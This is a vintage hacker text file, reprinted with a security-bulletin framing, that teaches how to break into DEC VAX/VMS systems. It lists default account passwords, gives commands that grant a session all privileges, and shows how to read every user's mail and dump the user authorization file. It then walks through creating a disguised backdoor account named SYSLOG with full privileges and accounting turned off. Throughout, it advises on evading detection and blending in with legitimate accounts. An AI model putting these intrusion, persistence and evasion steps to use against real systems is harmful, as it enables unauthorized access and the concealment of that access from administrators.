Extract from COMPUTER FRAUD & SECURITY BULLETIN This information was intended for the computer security industry to show system managers what they are up against regarding HACKING. HACKING VAX'S VMS. INTRODUCTION. The VAX is made by DEC(Digital Equipment Corp) and can run a variety of operating systems In this file,I will talk about the VMS(Virtual Memory Operating System),VMS also runs on the PDP-11, both mainframes are 32 bit machines with 32 bit virtual address space. ENTRANCE: When you first connect with a VAX you type either a return,a ctrl-c,or a ctrl-y It will then respond with something similar to: LOD RECURSIVE SYSTEMS INC VMS V4.0 Username: Password: The most frequent way of gaining access to a computer is by using a 'default' login/password. In this example you may try L as the user name and RECURSIVE as the password or a combination of words in the opening banner (if there is one) which may allow you access,otherwise you will have to try the DEFAULT METHOD of entry.The version listed above (V4.0)is the latest version to my knowledge of VMS. The more widely used version that I have seen is V3.7. When DEC sells a VAX/VMS,the system comes equipped with 4 accounts which are: DEFAULT This serves as a template in creating user records in the UAF (User Authorization File).A new user record is assigned the values of the DEFAULT record except where the system manager changes those values. The DEFAULT record can be modified but cannot be deleted from the UAF. SYSTEM Provides a means for the system manager to log in with full priviliges. The SYSTEM record can be modified but cannot be deleted from the UAF. FIELD Permits DIGITAL field service personnel to check out a new system.The FIELD record can be deleted once the system is installed. SYSTEST Provides an appropriate environment for running the User Environment Test Package (UETP). The SYSTEST record can be deleted once the system is installed. Usually the SYSTEM MANAGER adds,deletes,and modifies these records which are in the UAF when the system arrives, thus, eliminating the default passwords, but this is not true in all cases. The default passwords that I have found to get me into a system are: Username: Password: SYSTEM MANAGER or OPERATOR FIELD SERVICE or TEST DEFAULT USER or DEFAULT SYSTEST UETP or SYSTEST Other typical VMS accounts are: VAX VMS DCL DEMO TEST HELP NEWS GUEST GAMES DECNET Or a combination of the various usernames and passwords. If none of these get you in,then you should move on to the next system unless you have a way to get usernames/passwords, like from trashing, stealing passwords directly,or by some other means. YOUR IN! You will know that you are in by receiving the prompt of a dollar sign '$'. You will be popped into the default directory which is dependent on what account you are logged in as. If you get in as the system manager, you have full access. If you get in on the field or systest accounts, you may or may not have full access but you will have the privileges to give yourself full access. To give privs to yourself: $ SET PROCESS/PRIVS=ALL Once you have full privs, you can access any directory and any file, and also run the AUTHORIZE pgm which will be explained. The VMS system has full help files available by typing HELP. You can use the wildcard character of an '*' to list out info on every command: $ HELP * When you first logon, it may be to your advantage to get a list of all users currently logged onto the system if there are any at all. You can do this by: $ SHOW USERS VAX/VMS Interactive Users-Total=4 01-May-1985 11:37:21.73 OPA0: DEMO 004C004C TTD2: LAWRENCL 0059004A TXB1: FIELD 008D004E TXB3: TWYLYSYS 01190057 It is highly recommended that if you are logged on in the day and there are people logged in, especially the system manager or the account you are logged on as, logout and call back later. I have found that no matter what system you are on, the best way to remain undetected is to call when no one is on the system.You do not want to call to late since the system keeps a record of when each user logs in and out. To communicate with other users or other hackers that you are on the system with, use the PHONES Utility. $ PHONES Username If the system has DEC-net,you can see what available nodes there are by: $ SHOW NETWORK If you have mail the system will tell you so after logging in, simply type: $ MAIL This will invoke the Personal Mail Utility, you can use help from there. There are a lot of commands and many are not to usefull, (to the hacker anyway), so I will not go into detail. One thing about VMS, there is plenty of online help available which will enable you to learn the operating system fairly well. DIRECTORIES: To see what you have in your directory type: $ DIR To get a list of directories on the system type: $ DIR <*.*> When a VAX/VMS is first installed, it comes with nine directories which are not listed when you execute the DIR *.* command: This directory contains various macro and object libraries. This directory contains files used in managing the operating system. This directory contains text files and help libraries for the HELP utility. This is the directory for the error log file (ERRLOG.SYS). This directory contains files used in testing the functions of the operating system. This directory contains system diagnostic programs. This directory contains files used in applying system updates. This directory contains sample driver programs, user-written system services, and other source programs. This directory contains the executable images of most of the functions of the operating system. Inside these directories are files with the following file-types: File-type! Description: ! Command: -------------------------------------- .txt !Ascii text file !TYPE filename .hlp !System help file !TYPE filename .dat !Data file !TYPE filename .msg !Message file !TYPE filename .doc !Documentation !TYPE filename .log !Log file !TYPE filename .err !Error msg file !TYPE filename .seq !Sequential file !TYPE filename .sys !System file !FILE-NAME .exe !Executable file !FILE-NAME .com !Command file !COMMAND NAME .bas !Basic file !RUN file-name --------------------------------------- There are others but you won't see them as much as the above. You can change directories either by using the CHANGE command or by using the SET DEFAULT command: $ CHANGE or $ SET DEFAULT You can now list and execute the files in this directory without first typing the directory name followed by the file name as long as you have sufficient access. If you don't have sufficient access you can still view files within directories that you cannot default to by: $ TYPE LOD.MAI;1 This will list the contents of the file LOD.MAI;1 in the directory of . The use of wildcards is very helpfull when you desire to view all the mail or something on a system. To list out all the users mail if you have access type: $ TYPE<*.*>*.MAI;* As you may notice mail files have the extension of MAI at the end. The ;1 or ;2 etc are used to number files with the same name. PRIVILEGES Privileges fall into seven categories according to the damage that the user possessing them could cause the system: None -No privileges Normal-Minimum privileges to effectively use the system. Group -Potential to interfere with members of the same group. Devour-Potential to devour noncritical system-wide resources. System-Potential to interfere with normal system operation. File -Potential to compromise file security. All -Potential to control the system (hehe). THE UAF The User Authorization File contains the names of users who may log into the system and also contains a record of the user's privileges. Each record in the UAF includes the following: 1. Name and Password 2. User Identification Code(UIC)--Identifies a user by a group number and a member number. 3. Default file specification---Has the default device and directory names for file access. 4. Login command file---Names a command procedure to be executed automatically at login time. 5. Login flags---Allows the system manager to inhibit the user of the CTRL-Y function, and lock user passwords. 6. Priority---Specifies the base priority of the process created by the user at login time. 7. Resources---Limits the system resources the user may perform. 8. Privileges---Limits activities the user may perform. If you have SYSTEM MANAGER privileges, you will be able to add, delete, and modify records in the UAF. The AUTHORIZE Utility allows you to modify the information in the UAF. It is usually found in the SYSEXE directory. The commands for AUTHORIZE are: ADD username Adds a record to the UAF. EXIT (or CTRL-Z) Returns you to command level. HELP Lists the AUTHORIZE commands. LIST Creates a listing file of UAF records. MODIFY username Modifies a record. REMOVE username Deletes a record. SHOW Displays UAF records. The most usefull besides ADD is the SHOW command. SHOW displays reports for selected UAF records. You can get a /BRIEF listing of a /FULL listing. But before you do that, you may want to make sure no one is logged on besides you. And to make sure no one can log on, you do this by: $ SET LOGINS /INTERACTIVE=0 This establishes the maximum number of users able to log in to the system, this command does not affect users currently logged on. I never do the above since it is not really needed and looks very suspicious. Now,to list out the userfile do the following: $ SET DEFAULT $ RUN AUTHORIZE UAF>SHOW * /BRIEF To get a full report: (if you used the SET DEFAULT cmd earlier and the default dir is the directory,then you don't have to re-type it). $ RUN AUTHORIZE (or if you still have the UAF prompt): UAF>SHOW * /FULL Username:SYSTEM Owner:SYSTEM MANAGER Account: SYSTEM UIC: <001,004> CLI: DCL LGICMD: Default Device: SYS$ROOT: Default Directory: Login Flags: Primary days:Mon Tue Wed Thu Fri Secondary days: Sat Sun No hourly restrictions PRIO:4 BYTLM:20480 BIOLM: 12 PRCLM:10 PBYTLYM:0 DIOLM: 12 ASTLM:20 WSDEFAULT:150 FILLM: 20 ENQLM:20 WSQUOTA:350 SHRFILLM: 0 TQELM:20 WSECTENT:1024 CPU:no limit MAXJOBS:0 MAXACCTJOBS:0 PGFLQUOTA:2000000 Privileges: CMKRNL CMEXEC SYSNAM GRPNAM ALLSPOOL DETACH DIAGNOSE LOG-10 GROUP ACNT PRMCEB PRMMBX PSWAPM ALTPRI SETPRV TMPMBX WORLD OPER EXQU OTA NETMBX VOLPRO PHY-10 BUGCHK PRMGBL SYSGBL PFNMAP SHMEM SYSPRV SYSCLK UAF Unfortunately, you cannot get a listing of passwords, though you can get the list of users as shown above. The passwords are encrypted just like a UNIX system,but you cannot even see the encrypted password unless you look at the actual file that the UAF draws it's information from. After listing out all the users, you figure that since these other people are on here, why can't I have my own account? Well,if you have sufficient privs,you can! UAF ADD SYSLOG /PASSWORD=LEGION /UIC=<014,006> /CPUTIME=0 (...no CR) /DEVICE=SYS$SYSROOT_/ACCOUNT=VMS /DIRECTORY= /PRIVS=ALL (...no CR) /OWNER=DIGITAL /NOACCOUNTING 1)You ADD the username SYSLOG (you do not want to create a user like Lex, since it will be too obvious and not look right). I have had much success in not being detected with this acct. 2)You specify the password for the SYSLOG account. 3)You assign a UIC (User Ident Code) which consists of two numbers in the range of 0 through 377,seperated by a comma and enclosed in brackets. The system assigns a UIC to a detached process created for the user at login time. User processes pass on this UIC to any subprocesses they create. Processes can further assign UICs to files, mailboxes, devices, etc. You can assign the same UIC to more than 1 user. 4)CPUTIME is in delta format, 0 means INFINITE, which is what we will use. 5)You specify the DEVICE that is allocated to the user when they login, which for our purposes,is the SYS$SYSROOT device, other devices are: SYS$DEVICE,SYS$SYSDISK,DB1,etc. 6)Specifying an account is not necessary, but if you do, use one that is listed as another user's, since you don't want to attract too much attention to the account. 7)The default directory can be a directory currently on the system or it can be created after the UAF record is added. You may want to use one of the ones mentioned earlier in the file, but be sure not to use the directory. 8)You can select one of the privileges listed earlier in this file, we will use, of course, ALL. 9)OWNER is similar to the ACCOUNT qualifier, again, look at what the other users have listed. 10)NO ACCOUNTING will disable system accounting records, thus not adding information to the ACCOUNTING.DAT file. After the UAF record is successfully added, you should create a directory by specifying the device name, directory name, and UIC of the UAF record. Protection for the 'ordinary' user is normally, Read, Write, Execute, and Delete access for the system, owner, and group processes, and read and execute access for word processors. To create a directory: $ CREATE SYS$SYSROOT: /DIRECTORY /OWNER-UIC=<014,006> LOGGING OFF: Simply type: $LOGOUT The system will display the usual CPU time used and other statistics. HAVE LOTS OF FUN,CAUSE NO DAMAGE. ---------------------------------